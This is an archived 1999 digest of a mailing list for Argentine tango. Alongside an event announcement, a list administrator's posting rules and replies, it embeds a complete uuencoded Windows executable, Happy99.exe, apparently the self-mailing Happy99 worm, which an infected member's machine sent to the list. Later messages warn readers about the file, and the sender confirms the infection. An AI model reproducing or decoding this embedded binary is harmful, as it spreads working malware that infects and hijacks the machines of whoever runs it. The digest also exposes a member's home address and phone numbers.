The Tango-L mailing list archive
Digest from 20 Jun 1999
to 21 Jun 1999
Return-Path: owner-TANGO-L @MITVMA.MIT.EDU
Reply-To: Discussion of Any Aspect of the Argentine Tango <TANGO-L @MITVMA.MIT.EDU>
To: Recipients of TANGO-L digests <TANGO-L @MITVMA.MIT.EDU>
Date: Mon, 21 Jun 1999 03:00:01 -0400
Sender: Discussion of Any Aspect of the Argentine Tango <TANGO-L @MITVMA.MIT.EDU>
From: Automatic digest processor <LISTSERV @MITVMA.MIT.EDU>
Subject: TANGO-L Digest - 20 Jun 1999 to 21 Jun 1999
There are 13 messages totalling 953 lines in this issue.
Topics of the day:
1. Tango promotion in Washington DC (2)
2. Virus WARNING !!! (2)
3. Make the Tango-L administrator's life easier ...
4. the perfect follow (3)
5. Istanbul??
6. No subject was specified.
7. ANSWER TO MITCHEL, THE TANGO FOLLOWER
8. Chicho & Cecilia, West Coast Workshop in L.A. July 30-Aug.2
9. Lisbon, Portugal ?
Date: Sun, 20 Jun 1999 10:30:24 +0200
From: Enrico Massetti <e_mass @EMAIL.MSN.COM>
Subject: Tango promotion in Washington DC
This is a multi-part message in MIME format.
=_NextPart_000_0006_01BEBB07.E8737B00
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
In Washington DC there is a monthly event promoting tango
to the general public in the historic Georgetown Park Mall, in
the center of Georgetown.
Organized by Sharon, sponsored by the Mall and by Cache, a
store selling beautiful (and costly) dresses, a group of tangueros
and tangueras dance in the Mall once per month, on the fourth
Saturday, from 1:30 to 3:00pm.
The event is successful, local teachers have a table where they
leave fliers advertising their events, and everybody has a great
time "performing" in public.
A selection of a few pictures taken at the April Showcase are
posted at:
http://www.aaanetserv.com/tango/WashingtonDC.htm
I have been at the April event with my wife, as we were visiting
DC, and now we are thinking of organizing a similar event in Tampa.
Ciao,
Enrico.
Enrico Massetti
2432 Treemont Way
Dunedin, FL 34698
phone: +1-727-733 5374
fax: +1-727-736 5260
e-mail: e_mass @msn.com
=_NextPart_000_0006_01BEBB07.E8737B00
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type><BASE=20
href=3Dfile://C:\ENRICO\stationery\>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff leftMargin=3D0 link=3D#800000 text=3D#000000 =
topMargin=3D0=20
vLink=3D#666666>
<DIV>In Washington DC there is a monthly event promoting tango</DIV>
<DIV>to the general public in the historic Georgetown Park Mall, =
in</DIV>
<DIV>the center of Georgetown.</DIV>
<DIV> </DIV>
<DIV>Organized by Sharon, sponsored by the Mall and by Cache, a</DIV>
<DIV>store selling beautiful (and costly) dresses, a group of =
tangueros</DIV>
<DIV>and tangueras dance in the Mall once per month, on the fourth</DIV>
<DIV>Saturday, from 1:30 to 3:00pm.</DIV>
<DIV> </DIV>
<DIV>The event is successful, local teachers have a table where =
they</DIV>
<DIV>leave fliers advertising their events, and everybody has a great =
</DIV>
<DIV>time "performing" in public.</DIV>
<DIV> </DIV>
<DIV>A selection of a few pictures taken at the April Showcase are</DIV>
<DIV>posted at:</DIV>
<DIV> </DIV>
<DIV><A=20
href=3D"http://www.aaanetserv.com/tango/WashingtonDC.htm">http://www.aaan=
etserv.com/tango/WashingtonDC.htm</A></DIV>
<DIV> </DIV>
<DIV>I have been at the April event with my wife, as we were visiting =
</DIV>
<DIV>DC, and now we are thinking of organizing a similar event in =
Tampa.</DIV>
<DIV> </DIV>
<DIV>Ciao,</DIV>
<DIV> </DIV>
<DIV>Enrico.</DIV>
<DIV>--------------------------------------------------------------------=
<BR>Enrico=20
Massetti<BR>2432 Treemont Way<BR>Dunedin, FL 34698<BR>phone: +1-727-733=20
5374<BR>fax: +1-727-736 5260<BR>e-mail: <A=20
href=3D"mailto:e_mass @msn.com">e_mass @msn.com</A><BR></DIV><A =
name=3Dtop></A></TD>=20
<A name=3Dbottom></A></BODY></HTML>
=_NextPart_000_0006_01BEBB07.E8737B00--
Date: Sun, 20 Jun 1999 07:32:09 -0700
From: Enrico Massetti <e_mass @EMAIL.MSN.COM>
Subject: Tango promotion in Washington DC
begin 644 Happy99.exe
M35I0``(````$``\`__\``+ @`````````0``:````````````````````````
M``````````````````````$``+H0``X?M`G-(; @!3,TAD)!4:&ES('!R;V=R
M86T @;75S="!B92!R=6X @=6YD97( @5VEN,S(-"B0W````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````````````````````````````````````````%!%``!,`00`GR77C @``
M````````X`". @0L!`AD`" @```!8```````````$````!````` @```$`````!
M```"```!``````````,`" @`````````%```$````````` @``````$```(```
M```0```0````````$``````````````````#`$`#````````````````````
M``````````````````0`:`$`````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````0T]$10``````$``````!```*````! @``````````````````
M(```8$1!5$$``````!``````` @``$````!```````````````````$```,`N
M:61A=&$````0``````,```0```` @``````````````````!```#`+G)E;&]C
M````$``````$```"````)```````````````````0```4```````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````:`!X``!J0.C6"```A<`/A!T&``!0O^L.0 @"K!6!M``"K!< @```"K
M6%!04%^XE````*OHMP @``%Z#QA"M @_ @`#X3L!0``OLD-0 @!67[F5````K/;0
MJN+Z:, @```#_->\.0 @#HC0 @``(7`#X2W!0``H_<.0 @!HR````/\U\PY"`&H`
MZ%8(``"%P`^$F`4``(LU\PY"``/P @^X%K"3?/$%U"L<%B @]"`/____^^(PY"
M`(L][PY"``,]]PY"`+D)````\Z1J`?\U[PY"`/\U\PY"`.CO!P``O @``0 @"+
M/>L.0 @"M/45.1"!T%3U:15)/=`7WT*OK[*V+R#/`\ZOKXXO/*PWK#D(`B0W[
M#D(`OAH.0 @"+/>\.0 @`#/?<.0 @"Y"0```/.D,\!0:(````!J`E!0:````$#_
M->\.0 @#HNP<``$`/A.L$``!(H_\.0 @!J`&C[#D(`_S7[#D(`_S7K#D(`_S7_
M#D(`Z$('``"%P`^$M`0``+X-#D(`BSWO#D(``SWW#D(`N0T```#SI(LU[PY"
M`(L]\PY"`(L-]PY"`(/!"?.DN'-K80"K: @'_-?,.0 @#_->\.0 @#H" @<``#/`
M4&B`````: @-04& @```#`_S7O#D(`Z"0'``!`=5(SP/\UZPY"`& @'#T(`4& @_
M`!\`4%!0:"P.0 @!H` @`` @. @ @!P``N` @```!0N",.0 @!`4&H!: @!0_S4'#T(`
MZ/T&``#_-0</0 @#H_ @8``.G[`P``2*->#D(`,\!04%!J!%#_-5X.0 @#HI`8`
M`(7`#X3/`P``HV8.0 @`SP%!04&H&_S5F#D(`Z*D&``"%P`^$I0,``*-J#D(`
MB_!F @3Y-6 @^%DP,``(!^$GH/A(D#``#&1A)Z`W8\9H$^4$4/A7<#``")-7(.
M0 @!FBT8&9J-V#D(`,\EFBPUV#D(`9HM&%&:C>`Y"`(O> @\,8,\!F`P5X#D(`
M`]B+`STN=&5X=",]+F5D870//2YD871T68/#*$EUX^M>BT,,*T,4HWH.0 @#K
MY/=#)"```&`/A"P#``"!2R0```"`B1V>#D(`BT,0BWL(*\<]R @````^"#`,`
M`(M##(M3%"O"HWX.0 @`#UXD5D @Y"`.N9BT,,*T,4HX(.0 @#KFK^&#D(`BQ5Z
M#D(`BUYXBS5J#D(`*]H#WHM#'"O"`\:KBT, @*\(#QJN+0R0KP @/&JXM+&#/2
MBS6*#D(`QP6B#D(``````(L>*QUZ#D(``QUJ#D(`BP,]8V]N;G0 @/7-E;F1T
M8D*#Q @1)==N#/:(.0 @`"#X5Q` @``Z9(```"#PP2+`SUE8W0`==M25HL=C @Y"
M`-'B`]HSP&:+`XLUA @Y"`,' @` @/PBP:CE @Y"`*&2#D(``P5^#D(` @\``B0;_
M!:(.0 @!>6NN> @\,$B @,\`'654E:+'8X.0 @#1X @/:,\!FBP.+-88.0 @#!X`(#
M\(L&HYH.0 @"AD @Y"``,%? @Y"`(/`1XD&_P6B#D(`7EKI5?___XLUG @Y"`(%&
M",H```!HJ @Y"`.A0!```A<`/A)H!``"CI @Y"`&BW#D(`_S6F#D(`Z#\$``"%
MP`^$?0$``*/?#D(`:,0.0 @#_-:8.0 @#H( @0``(7`#X1 @`0``H^,.0 @!HT`Y"
M`/\UI @Y"`. @%!```A<`/A$,!``"CYPY"`(L]D @Y"``,]: @Y"`.C*````G&#H
M`````%^!Q[T```"+7"0LBD,#/!EU"(M$)"BJ1^L*/'=U&T>+1"0HJN @(````
M4VMA+F1L;`"X_______0JV&=Z0````"<8. @`````7H/&=F:MBUPD*#KC=!`Z
MPW0"ZUOH#P```&UA:6P`Z`4```!N97=S`*U0N/______T(7`=#K_T#P!=#1F
MD^ @`````7H/&-%9?,\"`^TYU"D>JK#P`=1E&ZPV`^TUU$:I'1JP\`'4)K5"X
M_______089WI`````````````%ZYR @```/.DH=\.0 @")AV____^AYPY"`(E'
MKZ'C#D(`B4?MBQ5^#D(`H9(.0 @`#PH/`1BL%E @Y"`/?0B8=Y____H9(.0 @`#
MP @7#````*P6:#D(`]]")1_;_-6H.0 @#HH @(``/\U9 @Y"`.CE` @``_S5>#D(`
MZ-H"``#_->L.0 @#HU0(``(,]B @]"``!T!VK_Z(\"``!H``("`&I`Z)4"``"C
MZPY"`&H`Z&4"``"C? @]"`*,;#T(`N.<'00"C#P]"`,<%+P]"`&</0 @!H"P]"
M`.BO` @``,\!0_S5^#T(`4%!H``(``& @``0``:F1J9& @```P`:&</0 @!H9P]"
M`%#HI0(``*."#T(`: @'_-8(/0 @#HF0(``/\U @ @]"`.B4` @``_S6"#T(`Z&L"
M``"C8P]"`#/`: @%04%!H,P]"`.A/` @``A<`/A;,```"A4P]"`(/ @#Z-3#T(`
M @_ @`#X0!`0``N0`0``"+->L.0 @!15E^#QQ2+1 @BKBT8,JX$&`!```*T!1 @2M
M`48$K<'X$(O0K<'X$(O8K8/X`'4% @\8(ZTF`;OP!<P3&1OP` @&[]`7,$QD;]
M`(!N_ @%S!,9&_ @!64%)3_S5C#T(`Z/8!``!>K<'X$(O0K<'X$%9J`%)0_S5C
M#T(`Z-L!``!> @\8$64D/A7G_____!5,/0 @#I-/___X,]-P]"`!)T%K @S#T(`
M4%#HJ0$``.B&`0``Z17_____-6,/0 @#_-8(/0 @#H4 @$``,<%B @]"`/_____I
M/_[__UBCA @]"`(-\)`0"=0MJ`. @[`0``,\#K!>A*`0``BPV&#T(`4<.A3P]"
M`(/ @#Z-/#T(`P>`-BSWK#D(``_BY``$``.AF````P> @(HUL/0 @#H60```,'H
M"*-7#T(`Z$P```#!Z` @-#P^O`(O8Z#T```#!Z`^)!XE/!-M'!-G^V @_;1P39
M_]H/VQ_;7P2#QPBA5P]"`*NA6P]"`*N+PZN#QPSBR?\%3P]"`.EW_O__N!-`
M(0#W+5\/0 @`KT @41$%,"HU\/0 @##_R5D`$,`_R5H`$,`_R5L`$,`_R5P`$,`
M_R5T`$,`_R5X`$,`_R5\`$,`_R6``$,`_R6$`$,`_R6(`$,`_R6,`$,`_R60
M`$,`_R64`$,`_R68`$,`_R6<`$,`_R6 @`$,`_R6D`$,`_R6H`$,`_R6P`$,`
M_R6T`$,`_R6X`$,`_R7``$,`_R7$`$,`_R7(`$,`_R7,`$,`_R70`$,`_R74
M`$,`_R78`$,`_R7<`$,`_R7 @`$,`_R7D`$,`_R7H`$,`_R7P`$,`````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`+*EK__]____^__P_P``__]'_________[__Y?]:15)/"````/_^__]%[__Q
MX$OV,MY'_K,RWF]OJY>6C-^/C9"8C9Z2WY**C(O?G9K?C8J1WXJ1FYJ-WZB6
MD<S-\O7;R%I%4D\B````K[K__[/^^O] @VBIQ6D523P(````?_W%>]/[]YO_U
M____]____________O____[____]____O_____[___W___[__________/_U
M__________G___O________]____6D523P(```#__^___^_________O____
M___[_Z________S_D_[__UI%4D\&````___Z_Q/___]:15)/%````+RPN[K_
M_____^_______O__]?____G__UI%4D\#````W___G[N^J[[______^______
M_?___?___^___UI%4D\#````O___/]&6FYZ+GO___^_______/___?___^W_
M_UI%4D\#````O___/]&:FYZ+GO___^______^____?___^O__UI%4D\#````
MO___O]&-FI.0G/___^______^O___?___^G__UI%4D\#````O___KUI%4D_0
M````?(/;]_^+LGR#V_?^B_T4L$'#_[W_J:!&RO___U,)+U4=!9?_W___E;\7
M9_?__WH_BOO,/Q310&;_O?]4^D?T__]4^D?T__]4^A?\__]4?#^;5!3T`,IF
M_[W_%Y+W__]'_O___SWS_Q>4^O__?`:;\'AU____=/S:("` @(,*ROK:SBLUT
MO/O:`"` @(,+?N:VPBMR9=+SWF=H @`)G"LL6*ZG0,=,)>_[W_=O+__[W_#%L6
M @/[__W3\VB` @("#"K;ROJXK(=+S[V @` @(`#"WZNPQ8K7%T_X__]V\OO_O?\7
M(O[__WP'__![MO[__SCZ:O^]_P`````6SO[__Q;*_O__%\'\__]\!__P>MC^
M__]TRF+_O?^94IG"___P>^K^__]\PFK_O?__\'H*____%U#[__]>?O^]_W3B
M9O^]_Q>6^___?`<`\'L/____%T_[__]'^O___T3E_[W_%[/[__]\!P#P>RS_
M__\7!_G__\+-RL_?\'H\____1_G___]$]_^]_Q?;^___?`<`\'M4____%R_Y
M___"S<K/W_!Z9/___U[__[W_=.)>_[W_%P3\__]\!P#P>WW___\76/G__\+-
MRL_?BHETRF+_O?]TZE[_O?]\%<W,-G014[[$#8BBP_^+W\/UB @UT/G0B%T/\
M__]\!P"+N!>3^?__PLW*S]^*Q!0M1_G___]$\?^]_Q=E_/__?`<`B]H7M?G_
M_\+,RLO?BN8X^FK_O?______=,)B_[W_S#]41_[___\\1[*RLK(\%VW\__]\
M!IN-EA<,_O__?`?_BJ`7>/S__UY^_[W_=.)F_[W_%[[\__]\!P"+M!=S_/__
M1_K___]$Y?^]_Q?7_/__?`<`B\T7)_K__\+-R\_?BME'^?___T3K_[W_%_?\
M__]\!P"+[1='^O__PLS+S]^*^4?^____/$>QL;&Q/)]T%)6;`,I6_[W_%P[Z
M__]Z/_![F/[__UR"_[W_09G_O?]TPE;_O?_\PH+_O?]&]/___PQ;E?^7?___
M_Y7[E?^5_Y?___\_`,I6_[W_%QKZ__^_\'O9_O__MUR*_[W_E\WK__^5OQ=C
M^O__>C_P>_[^__]<>O^]_Y7_EX;_O?^7_^O__P#*>O^]_P#*BO^]_Q>!^O__
M>C_P>QW___]^PH;_O?__Z___C< @`RHK_O?\7=OK__Y7_EW____^5_97_E?^7
M____/P#*5O^]_Q>9^O__O_![6/___[=<BO^]_Q1G=`I\.?=2="=2="]TRGK_
MO?]T,?SRAO^]_U+$/(O]%/=2Q#V+N'P1^WP1_)E2Q`Z,]IG"\O6+';$4#G0!
M=`I\.?=T\OO_O?]\%O>NJ`Q;F4?R]9E4H*:5_Y>&_[W_KJ @`RHK_O?\7'OO_
M_Q3B`,IZ_[W_%TG[__\`RHK_O?\7)/O__YY'`````#P`RGK_O?\79OO__P#*
MBO^]_Q=!^___GLP_/)]T#'0!_`9T,'P^F\PMF73AF7X<("!T$9E^!+FMB[ET
M"IE^!*RJBZQT"IE^!+&ZBX]T"IE^!+R\\'MF____=`J9? @2]O/![5O___W0*
MF7X$\O7P>T;___]T"KG$#O!\&____Q16F5)2VB` @``#"L++%WXI4%RK___\4
M;)E24MH @("` @PKVUNKR*85+:(```_\*KQ=__BFX73?___Q:2````F5)2VB` @
M("#"J*RXK8I^4MH @("` @PK"JKZSP>H\```"94IG"Q=_P>IL````7 @____Q;(
M````F5)2V @``___"Q=____!ZJP```!> @____%N4```"94E+:(```_\*\Q=__
M\'J[````%[W___\6` @$``%+"\O7R]?!ZQ````*]'I]*LCU1'GI&,E%1'GL7?
MIE291YJ,F51\/?&G5+V]=NI^_[W_GLP_/)Y'`````#QT"G3"9O^]__P%4U6]
M? @5Y]/__B/O#]8H./'07E?^OK`#*<O^]_P#J=O^]_WP'`(KJ%Q']___"S-C_
M_XK[=#H4)$<`````/'2CV\MTL]O'/'2CV\]VXG+_O?^GI*RO?#S$=/S\)WP\
M^W;B=O^]_SR7_Z___Y6_%T3]__]Z/_![K_W__UQZ_[W_E9L`RE;_O?\79/W_
M_WH_\'O4_?__7(+_O?]!HO^]_W3"5O^]__S" @O^]_T;V____#%N5_Y=_____
ME?R5_Y7_E____W\`RE;_O?\7</W__[_P>Q7^__^W7([_O?^7V/^]_P#*CO^]
M_Q>3_?__O_![/?[__[=<V/^]_Y7_E?^5_Y7]E?\`RH[_O?\7Z_W__WH_\'M @
M_O__7.#_O?^5_Y7_E?^5^P#*X/^]_Q?M_?__>C_P>XO^__]<W/^]_T'#_[W_
M=,)Z_[W_1N;___\,6\PM7MC_O?^OF432_YD(#,PVF70W=O+4_[W_=^K0_[W_
M=,K<_[W_HOP1=.K4_[W_3[)51O#____$"HK[S3\4_E-U'S\7_=O`BOW[O_O?
M574[/Q_[V\]U!\0*BOO-/Q3^4W4?/Q?[V_#U.-O`BOW[O_O?574[/Q_]VP-U
M!\0*BOO-/Q3^4W4?/Q?YV_SU.-O`BOW[O_O?574[V\"*_?N_^]]5MHILF4?R
M]9E4M8I]7]#_O?_#_XO4^]]5S#_,+<PV7]#_O?],_`D,=3=[&XO]F;Y%_O__
M_SGZT/^]__\6J0```$&J_[W_1O?___\,6W0PU/)Z_[W_=O+'_[W_S"W,-E['
M_[W_F407_)D(#)ET-W;RS_^]_W;JR_^]_W3*>O^]_P#ZS_^]_T(7_/__?,+/
M_[W__HKY=-++_[W_=#IT(1=]` @``?`<`B_7\" @#RS_^]_XHK`,K<_[W_%UW_
M__\`RN#_O?\74/___P#*CO^]_Q=;____`,IZ_[W_%Y;___\\E?^5PP#*6O^]
M_P#*<O^]_Q?*____?`<`BQETXEK_O?]T_#R?=,IB_[W_="E^/:OT__]3Q`V,
M[L/_B @BQ=`%T#`Q;1_____]4GCP`VL/_O/\`VK__O/\`VK?_O/\`VK/_O/\`
MVJ__O/\`VJO_O/\`VJ?_O/\`VJ/_O/\`VI__O/\`VIO_O/\`VI?_O/\`VI/_
MO/\`VH__O/\`VHO_O/___UI%4D]!````K:RZJ_+UN[ZKOO+UK["LJ_+U\O71
M\O7_6D523P<````-"F)E9VEN(#8T-"!(87!P>3DY+F5X90T*8`T*96YD#0I<
M4VMA+F5X90!<;&ES=&4N<VMA`/___UI%4D]F```` @__\_\/__/]:15)/`P``
M`'?__/^W__S_6D523P4```!I__S_8?_\______]/__S_.?_\_R/__/\5__S_
M"?_\__W^_/_M_OS_V_[\_\G^_/^]_OS_K_[\_Z'^_/______J*RPO+3,S=&;
MDY/_M+JML;JSS,W1FY.3_____XV:G(G_____J*R^N)J+LYZ,B[J-C9"-____
MO(V:GHN:N9:3FK*>CX^6D9B^_____[B:BZR&C(N:DKN6C9J<BY"-AK[___^S
MD)R>D[Z3DY"<_____[.0G)Z3N8V:FO___ZV:GINYEI.:_____[*>CZF6FHBP
MF;F6DYK___^LFHNYEI.:KY"6D8N:C?____^JD9*>CZF6FHBPF;F6DYK___^H
MC9:+FKF6DYK___^XFHNYEI.:K):%FO___[R-FIZ+FKF6DYJ^____O).0C)JW
MGI&;DYK_6D523R @```##__O__O____W____]____U__[_\__^__'__O_F/_^
M_[_]_O^Y__O_M/_[_____O^2GIN3D]&[L[/_DIZ6D_^1FHB,_UI%4D]L````
M___^_Q/____NS\C/J<];SU7/)L\2S_#.WL[-SL?.JLZ"SE_.6<XYSC/.^,W<
MS=+-I<V?S8;-9LTYS2?-(LT<S1;-]\SES,S,Q<RZS+3,H<R5S'C,9LQ3S$O,
M'<P'S/_+\LOGR]7+RLM^RFO*3<I'RAG*!<KKR>/)T<G,R<;)P,FAR8_)BLF$
MR7+)8LE0R4+),,DKR27)%\D$R?[(^,COR&S(6LA#R#C(*< @CR!K("L @$R/['
M^,?MQ^3'SL?&Q[O'L,>EQY7'C\=_QW7'3\=)QT/'/<<WQS''*\<EQQ_'&<<3
MQPW'!\<!QUI%4D]&` @``14Y$(`"VC-^6B]^>WXF6C8J,T]^>WXB0C9+3WY[?
MBXV0E9Z1P-^RL*JKTK*PJJO?MX:=C9:;W]><UM^LCYZ1C)2>W\[&QL;1_Z.(
MC)"<E,S-T9N3D_^CK)2>T9N3D_^CK)2>T9J'FO^LD)F+B)Z-FJ.REIR-D(R0
MF8NCJ):1FY"(C*.\BHV-FI&+J9J-C):0D:.MBI&PD9R:_P``````````````
M````````````````````````````````````````````````````````````
M``````````````````````````!+15).14PS,BYD;&P`3&]A9$QI8G)A<GE!
M`$9R965,:6)R87)Y`$=E=%!R;V-!9&1R97-S````````````````````````
M`````````````````````````````````````T``````````````````````
M``````````````<`````````````````````````````````````````````
M````````````````````````````$;NJ_P````!(87!P>2!.97< @665A<B`Q
M.3DY("$A````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````#X``,`9``#``````````````````4!`P"P``,`````
M````````````$ @$#`,```P`````````````````=`0,`\``#````````````
M````````````````*`$#`#0!`P!&`0,`7 @$#`'(!`P!^`0,`D`$#`)X!`P"L
M`0,`P @$#`-`!`P#F`0,`] @$#``P"`P`:` @,`*`(#`#0"`P!$` @,``````%`"
M`P!B` @,`=`(#``````""` @,`C @(#`*`"`P"R` @,`P @(#`,H"`P#>` @,`\`(#
M``(#`P`0`P,`(`,#```````T`P,``````$M%4DY%3#,R+F1L;`!!1%9!4$DS
M,BYD;&P`55-%4C,R+F1L;`!'1$DS,BYD;&P`````5W)I=&5&:6QE````56YM
M87!6:65W3V9&:6QE````1V5T5VEN9&]W<T1I<F5C=&]R>4$`````1V5T36]D
M=6QE2&%N9&QE00````!#;W!Y1FEL94$```!'9710<F]C061D<F5S<P````!%
M>&ET4')O8V5S<P```$=E=$9I;&53:7IE````1V5T36]D=6QE1FEL94YA;65!
M`````$QO8V%L06QL;V,`````0W)E871E1FEL94UA<'!I;F=!`````$=E=%9E
M<G-I;VY%>$$```!'9713>7-T96U$:7)E8W1O<GE!````0W)E871E1FEL94$`
M``!#;&]S94AA;F1L90```$QO8V%L1G)E90```$UA<%9I97=/9D9I;&4```!2
M96%D1FEL90````!296=3971686QU945X00````!296=#<F5A=&5+97E%>$$`
M``!296=#;&]S94ME>0```%)E;&5A<V5$0P```%)E9VES=&5R0VQA<W-!````
M`%!O<W11=6ET365S<V%G90```%!E96M-97-S86=E00````!'971$0P```$1I
M<W!A=&-H365S<V%G94$`````1&5F5VEN9&]W4')O8T$`````0W)E871E5VEN
M9&]W17A!````4VAO=U=I;F1O=P````!5<&1A=&57:6YD;W<`````5')A;G-L
M871E365S<V%G90````!39710:7AE;%8`````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M```````````````````````````````````````````````````!`& @!```6
M,$8P7C!P,'LPD#"B,*LPL3"W,,8PS##6,-PP`3$',0PQ$C$8,38Q2#%/,54Q
M6S%A,7,Q>3%_,8PQDC&8,:LQL3'-,=TQXC'P,04R$C(=,BTR.S)-,EHR;#*;
M,J4RKC*X,L8R\C(.,RXS-C-#,THS4#-9,X`SAC.2,Y @SM3/5,^0S\#/U,_LS
M!C0;-"HT-C0[-$$T3#19-&4T=S1\-((TE#29-)\TL32V-+PTSC34--HTMC7!
M-<DUTC77->(U[S7\-0<V$C8=-B @V9#8S-DXV6C9?-FDV;S9S-G @VAC: @-J4V
ML#:X-L,VSC;8-N0V]C;^-A(W;3>(-Y\WJC>R-\DWSS?:-^DW!C @-.!4X'C @R
M.#\X=CA\.(LXFSBG.*XXM#BZ.,`XQCC,.-(XV#C>..0XZCCP./8X_# @".0 @Y
M#CD4.1HY(#DF.2PY,CDX.3XY1#E*.5`Y5CE<.6(Y:#EN.0``````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
*````````````````
`
end
Date: Sun, 20 Jun 1999 16:45:49 GMT
From: Ed Loomis <edl @WCO.COM>
Subject: Virus WARNING !!!
Hello Listeros y Listeras,
I just received the latest post from Enrico Massetti and followed
by that a Happy99.exe message via the Tango-L. Do not run this
program! DELETE it immediately! This malicious code must have infected
Enrico's system and is sending itself. Protect your system, do not run
this program or attempt to open this file. DELETE on sight. Good luck.
Ed Loomis
--=20
"...mercy to the guilty is cruelty to the innocent..."
Adam Smith
Date: Sun, 20 Jun 1999 15:48:48 -0400
From: Enrico Massetti <e_mass @EMAIL.MSN.COM>
Subject: Re: Virus WARNING !!!
My apologies, this one is REAL, I am reformatting my hard disk,
as both the antiviruses I have failed to clen'up my machine.
Sorry,
Enrico
Hello Listeros y Listeras,
I just received the latest post from Enrico Massetti and followed
by that a Happy99.exe message via the Tango-L. Do not run this
program! DELETE it immediately! This malicious code must have infected
Enrico's system and is sending itself. Protect your system, do not run
this program or attempt to open this file. DELETE on sight. Good luck.
Ed Loomis
--
"...mercy to the guilty is cruelty to the innocent..."
Adam Smith
Date: Sun, 20 Jun 1999 16:03:11 -0400
From: Shahrukh Merchant <merchant @ALUM.MIT.EDU>
Subject: Make the Tango-L administrator's life easier ...
Just a reminder that the Tango-L rules for posting of local events are
still unchanged (since April 1996). Some new list members have
(rightfully) pointed out the inconsistency that their postings on
commercial local events are rejected (new posters' postings are
temporarily routed through the administrators) while longer-term
members on the list seem to post even minor local events with
"impunity."
A second reminder is that postings to Tango-L should be sent as plain
text (in particular not HTML text, nor as MIME attachments).
These two are the most common reasons for delays in approvals of new
members' postings (or others whose postings are under review). They
also result in the most special handling required by the
administrator, so please do your part to minimize both (since I do
have the time to read Tango-L every day)!
Attached are the "canned" messages on both these subjects that should
provide further clarification.
Thanks,
Shahrukh Merchant
Tango-L administrator
tango-L-request @mitvma.mit.edu
=================
Please check the formatting of future messages to Tango-L
Thank you for your posting to Tango-L. The content of your posting
is appropriate to the purpose of Tango-L, but was incorrectly
formatted for the reason(s) stated below.
Please correct your mailer settings for future posts to Tango-L.
Your future postings are temporarily being routed through the
list administrator, so that if you aren't sure if you have made
the changes correctly, they will be "caught" before being posted
to the list (you will be able to post directly to the list again
after your next successful posting).
1. Your article contains unnecessary MIME-encoded characters
(beyond just those necessary to get accented characters of
foreign languages). This is characterized by "=" at the end of every
line and/or "=20" at the end of paragraphs, or similar extraneous
characters. The usual cause is that the article was composed on a word
processor (rather than within a text-only editor or the mail
composition window), and cut and pasted into the mail composition
window. This can generally be avoided by typing your message directly
into the mail composition window of your mail program. Another solution
is to make sure that your article goes out as "7-bit ASCII" rather
than "quoted-printable" or "8-bit ASCII." Contact your local support
staff for further assistance in setting up your mailer correctly.
2. Your article is send as a multi-part MIME message. Please send
your message as the body of the text and not as an attachment.
3. Your article is sent in HTML format. Please send articles only as
normal text. You will need to set the options on your mailer properly
so that it does not send HTML mail by default.
4. Your article quoted too much material from the original message.
When you quote someone else's message, you should trim that message
down to just the part you are quoting, and keep that to a minimum.
In particular, you MUST remove any headers from the original
message that contain the name of the list. Otherwise the mailing
list handler finds the list name in the body of the message and
refuses to process the message, as in this case.
5. The entire contents of your article was sent as a quotation
(typically preceded by ">" at the start of each line) rather than
just quoted material. If the contents came from another e-mail
message, you may want to copy and paste the material into your
new message rather than "forwarding" the message, since some
mailers add the ">" character when you forward.
6. Your article contains binary encoded files (typically an image
file). The list rules do not permit binary files. If you would like,
you can refer to an image by providing a URL to an image on a Web
site.
7. The entire article was sent in UPPER CASE, which makes it
difficult to read. Please use a standard combination of upper- and
lower-case characters, or if you must use one case only, use
all lower-case.
8. The subject line of your message was the "TANGO-L Digest - ..."
subject line with which you receive your digests. This is generally
caused by using your mail program's "Reply" command (which does not
automatically create an appropriate reply subject line if you
subscribe to the digested version of this list). Since this is not a
useful or descriptive subject line, and you should replace it with
the subject line of the message you are actually following up to
(optionally preceded with "Re: ") or create a new appropriate subject
line.
=================
Posting of Local Events to Tango-L
Since Tango-L is an international list with people from tens of countries
all over the world, the listing of events that are primarily of local
interest to a city is generally not appropriate. However, there are a number
of exceptions to this rule and your posting may fall into one of these
categories.
If that is the case, please ensure that future posts clearly clarify the
category your postings belong to. Your submissions are temporarily being
routed to the list administrators to help ensure consistency of your
postings with these rules.
(All information here is available in the Tango-L rules that you received
when you subscribed to the list and which you are encouraged to re-read.
The description below is a paraphrase of the portion of the rules that
apply to postings of local events.)
A. POSTINGS BY COMMERCIAL ENTITIES OR THEIR AFFILIATES
If you are a commercial entity (for-profit organization or someone who
receives direct or indirect financial benefit from this event), then you
may use only one of the following two categories, if they apply.
NOTE THAT POSTINGS BY FRIENDS OF ORGANIZERS AND OTHER CONNECTED PARTIES ARE
